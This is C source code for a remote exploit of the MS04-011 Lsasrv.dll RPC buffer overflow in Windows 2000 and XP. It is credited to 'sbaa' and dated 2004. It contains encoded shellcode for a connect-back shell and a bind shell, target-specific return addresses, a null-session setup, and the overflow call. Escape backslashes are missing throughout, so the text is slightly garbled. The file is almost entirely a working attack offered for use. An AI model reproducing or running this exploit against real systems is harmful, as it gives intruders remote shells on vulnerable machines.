#include <windows.h>
#pragma comment(lib,"mpr.lib")
#pragma comment(lib, "ws2_32")

unsigned char scode[] =
"xEBx10x5Bx4Bx33xC9x66xB9x25x01x80x34x0Bx99xE2xFA"
"xEBx05xE8xEBxFFxFFxFF"

"x70x62x99x99x99xC6xFDx38xA9x99x99x99x12xD9x95x12"
"xE9x85x34x12xF1x91x12x6ExF3x9DxC0x71x02x99x99x99"
"x7Bx60xF1xAAxABx99x99xF1xEExEAxABxC6xCDx66x8Fx12"
"x71xF3x9DxC0x71x1Bx99x99x99x7Bx60x18x75x09x98x99"
"x99xCDxF1x98x98x99x99x66xCFx89xC9xC9xC9xC9xD9xC9"
"xD9xC9x66xCFx8Dx12x41xF1xE6x99x99x98xF1x9Bx99x9D"
"x4Bx12x55xF3x89xC8xCAx66xCFx81x1Cx59xECxD3xF1xFA"
"xF4xFDx99x10xFFxA9x1Ax75xCDx14xA5xBDxF3x8CxC0x32"
"x7Bx64x5FxDDxBDx89xDDx67xDDxBDxA4x10xC5xBDxD1x10"
"xC5xBDxD5x10xC5xBDxC9x14xDDxBDx89xCDxC9xC8xC8xC8"
"xF3x98xC8xC8x66xEFxA9xC8x66xCFx9Dx12x55xF3x66x66"
"xA8x66xCFx91xCAx66xCFx85x66xCFx95xC8xCFx12xDCxA5"
"x12xCDxB1xE1x9Ax4CxCBx12xEBxB9x9Ax6CxAAx50xD0xD8"
"x34x9Ax5CxAAx42x96x27x89xA3x4FxEDx91x58x52x94x9A"
"x43xD9x72x68xA2x86xECx7ExC3x12xC3xBDx9Ax44xFFx12"
"x95xD2x12xC3x85x9Ax44x12x9Dx12x9Ax5Cx32xC7xC0x5A"
"x71x99x66x66x66x17xD7x97x75xEBx67x2Ax8Fx34x40x9C"
"x57x76x57x79xF9x52x74x65xA2x40x90x6Cx34x75x60x33"
"xF9x7ExE0x5FxE0";



unsigned char scode2[] =
"xEBx10x5Ax4Ax33xC9x66xB9x7Dx01x80x34x0Ax99xE2xFA"
"xEBx05xE8xEBxFFxFFxFF"

"x70x95x98x99x99xC3xFDx38xA9x99x99x99x12xD9x95x12"
"xE9x85x34x12xD9x91x12x41x12xEAxA5x12xEDx87xE1x9A"
"x6Ax12xE7xB9x9Ax62x12xD7x8DxAAx74xCFxCExC8x12xA6"
"x9Ax62x12x6BxF3x97xC0x6Ax3FxEDx91xC0xC6x1Ax5Ex9D"
"xDCx7Bx70xC0xC6xC7x12x54x12xDFxBDx9Ax5Ax48x78x9A"
"x58xAAx50xFFx12x91x12xDFx85x9Ax5Ax58x78x9Bx9Ax58"
"x12x99x9Ax5Ax12x63x12x6Ex1Ax5Fx97x12x49xF3x9AxC0"
"x71x1Ex99x99x99x1Ax5Fx94xCBxCFx66xCEx65xC3x12x41"
"xF3x9CxC0x71xEDx99x99x99xC9xC9xC9xC9xF3x98xF3x9B"
"x66xCEx75x12x41x5Ex9Ex9Bx99x9Dx4BxAAx59x10xDEx9D"
"xF3x89xCExCAx66xCEx69xF3x98xCAx66xCEx6DxC9xC9xCA"
"x66xCEx61x12x49x1Ax75xDDx12x6DxAAx59xF3x89xC0x10"
"x9Dx17x7Bx62x10xCFxA1x10xCFxA5x10xCFxD9xFFx5ExDF"
"xB5x98x98x14xDEx89xC9xCFxAAx50xC8xC8xC8xF3x98xC8"
"xC8x5ExDExA5xFAxF4xFDx99x14xDExA5xC9xC8x66xCEx79"
"xCBx66xCEx65xCAx66xCEx65xC9x66xCEx7DxAAx59x35x1C"
"x59xECx60xC8xCBxCFxCAx66x4BxC3xC0x32x7Bx77xAAx59"
"x5Ax71x76x67x66x66xDExFCxEDxC9xEBxF6xFAxD8xFDxFD"
"xEBxFCxEAxEAx99xDAxEBxFCxF8xEDxFCxC9xEBxF6xFAxFC"
"xEAxEAxD8x99xDCxE1xF0xEDxCDxF1xEBxFCxF8xFDx99xD5"
"xF6xF8xFDxD5xF0xFBxEBxF8xEBxE0xD8x99xEExEAxABxC6"
"xAAxABx99xCExCAxD8xCAxF6xFAxF2xFCxEDxD8x99xFBxF0"
"xF7xFDx99xF5xF0xEAxEDxFCxF7x99xF8xFAxFAxFCxE9xED"
"x99xFAxF5xF6xEAxFCxEAxF6xFAxF2xFCxEDx99";



typedef int (_stdcall *DSROLEUPGRADEDOWNLEVELSERVER)
(unsigned long, unsigned long, unsigned long, unsigned long,
unsigned long, unsigned long, unsigned long, unsigned long, 
unsigned long, unsigned long, unsigned long, unsigned long);
DSROLEUPGRADEDOWNLEVELSERVER DsRoleUpgradeDownlevelServer;

#define LEN 3500

char buf[LEN+1];
char sendbuf[(LEN+1)*2];
char buf2[2];
char target2[200];

int main(int argc, char *argv[])
{
HMODULE hNetapi;
int ret=0;
int i;
char c, *target;
LPSTR hostipc[40];
NETRESOURCE netResource; 
unsigned short port;
unsigned long ip;
unsigned char* sc;

if (argc < 3) {
printf("Windows Lsasrv.dll RPC [ms04011] buffer overflow Remote Exploitn bug discoveried by eEye,n 
code by sbaa (sysop sbaa 3322 org) 2004/04/24 ver 0.1n 
Usage: n 
%s 0 targetip (Port ConnectBackIP ) 
----> attack 2k (tested on cn sp4,en sp4)n 
%s 1 targetip (Port ConnectBackIP ) 
----> attack xp (tested on cn sp1)n",argv[0],argv[0]);
printf("");
return 0; 
}

target = argv[2];
sprintf((char *)hostipc,"\\%s\ipc$",target); 

netResource.lpLocalName = NULL; 
netResource.lpProvider = NULL; 
netResource.dwType = RESOURCETYPE_ANY; 
netResource.lpRemoteName=(char *)hostipc;



ret = WNetAddConnection2(&netResource, "", "", 0); // attempt a null session 
if (ret != 0) 
{ 
printf("Create NULL session failedn");
// return 1; 
} 


hNetapi = LoadLibrary("sbaaNetapi.dll");
if (!hNetapi) {
printf("Can't load sbaaNetapi.dll.n");
exit(0);
}

(DWORD *)DsRoleUpgradeDownlevelServer = (DWORD *)GetProcAddress(hNetapi, "DsRoleUpgradeDownlevelServer");

if (!DsRoleUpgradeDownlevelServer) {
printf("Can't find function.n");
exit(0);
}

memset(buf, 'x90', LEN);



if(argc>4)
{

port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;

memcpy(&scode[118], &port, 2);
memcpy(&scode[111], &ip, 4);
sc=scode;
} 
else
{
if(argc>3)
{
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&scode2[176], &port, 2);

}
sc=scode2;
}
//attack all 2k sp3 version

memcpy(&buf[2020], "x95x0cx01x78", 4);
memcpy(&buf[2036], sc, strlen(sc));

//attack all 2k sp4 version 
memcpy(&buf[2840], "xebx06xebx06", 4);
memcpy(&buf[2844],"x2bx38x03x78",4);

memcpy(&buf[2856], sc, strlen(sc));


printf("shellcode size %dn", strlen(sc));


for(i=0; i<LEN; i++) { //unicode
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

if(atoi(argv[1])==1)
{
memcpy(&sendbuf, sc, strlen(sc));
memcpy(sendbuf+1964,"xadx14x48x74",4);
memcpy(&sendbuf[1948], "xb8x44xf8xffxffx03xc4x81xecx00x20x00x00xffxe0x00", 16);
memcpy(&sendbuf[1980], "xebxde",2);
}
memset(target2, 0, 100);
for(i=0; i<strlen(target); i++) {
target2[i*2] = target[i];
target2[i*2+1] = 0;
}
memset(buf2, 0, 2);
ret=0;
ret=DsRoleUpgradeDownlevelServer(&sendbuf[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0], &buf2[0], 
&buf2[0], &buf2[0], target2, &buf2[0], &buf2[0], &buf2[0]);

printf("Ret value = %dn",ret);
WNetCancelConnection2(netResource.lpRemoteName, 0, TRUE); 
FreeLibrary(hNetapi); 

return 0;
}

// www.Syue.com [2004-04-24]